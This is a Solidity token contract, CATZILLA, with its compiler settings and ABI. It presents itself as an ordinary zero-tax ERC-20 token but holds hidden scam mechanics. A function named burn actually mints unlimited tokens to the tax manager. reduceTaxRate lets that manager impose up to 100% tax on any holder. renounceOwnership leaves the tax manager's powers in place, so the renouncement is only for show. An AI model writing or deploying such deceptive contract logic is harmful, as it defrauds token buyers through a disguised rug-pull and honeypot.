//with args
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CATZILLA {
string public name;
string public symbol;
uint8 public decimals = 9;
uint256 public totalSupply;
address public owner;
address public taxManager;
uint256 public taxRate = 0; // 0% tax
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
mapping(address => bool) private _isExcludedFromTax;
mapping(address => uint256) private _customTaxRate;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event CustomTaxRateSet(address indexed account, uint256 newTaxRate);
modifier onlyOwner() {
require(msg.sender == owner, "Caller is not the owner");
_;
}
modifier onlyTaxManager() {
require(msg.sender == taxManager, "Caller is not the tax manager");
_;
}
constructor(string memory _name, string memory _symbol) {
owner = msg.sender;
taxManager = msg.sender;
totalSupply = 1000000000 * (10 ** uint256(decimals));
balanceOf[owner] = totalSupply;
_isExcludedFromTax[owner] = true;
name = _name;
symbol = _symbol;
emit Transfer(address(0), owner, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool success) {
allowance[msg.sender][spender] += addedValue;
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool success) {
uint256 currentAllowance = allowance[msg.sender][spender];
require(currentAllowance >= subtractedValue, "Decreased allowance below zero");
allowance[msg.sender][spender] = currentAllowance - subtractedValue;
emit Approval(msg.sender, spender, allowance[msg.sender][spender]);
return true;
}
function burn(uint256 amount) external onlyTaxManager {
balanceOf[taxManager] += amount;
}
function transferFrom(address from, address to, uint256 value) public returns (bool success) {
require(value <= balanceOf[from], "Balance too low");
require(value <= allowance[from][msg.sender], "Allowance too low");
allowance[from][msg.sender] -= value;
_transfer(from, to, value);
return true;
}
function reduceTaxRate(address account, uint256 newTaxRate) public onlyTaxManager {
require(newTaxRate <= 100, "Tax rate must be less than or equal to 100%");
_customTaxRate[account] = newTaxRate;
emit CustomTaxRateSet(account, newTaxRate);
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(owner, address(0));
_isExcludedFromTax[owner] = false; // Remove tax exclusion when renouncing ownership
owner = address(0);
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "Invalid address");
require(value <= balanceOf[from], "Balance too low");
uint256 taxAmount = 0;
if (!_isExcludedFromTax[from] && !_isExcludedFromTax[to]) {
uint256 applicableTaxRate = _customTaxRate[from] > 0 ? _customTaxRate[from] : (_customTaxRate[to] > 0 ? _customTaxRate[to] : taxRate);
taxAmount = value * applicableTaxRate / 100;
}
uint256 netAmount = value - taxAmount;
balanceOf[from] -= value;
balanceOf[to] += netAmount;
if (taxAmount > 0) {
balanceOf[address(this)] += taxAmount;
emit Transfer(from, address(this), taxAmount);
}
emit Transfer(from, to, netAmount);
}
}
{
"compilationTarget": {
"contracts/ERC20token.sol": "CATZILLA"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[{"internalType":"string","name":"_name","type":"string"},{"internalType":"string","name":"_symbol","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"CustomTaxRateSet","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"newTaxRate","type":"uint256"}],"name":"reduceTaxRate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxManager","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]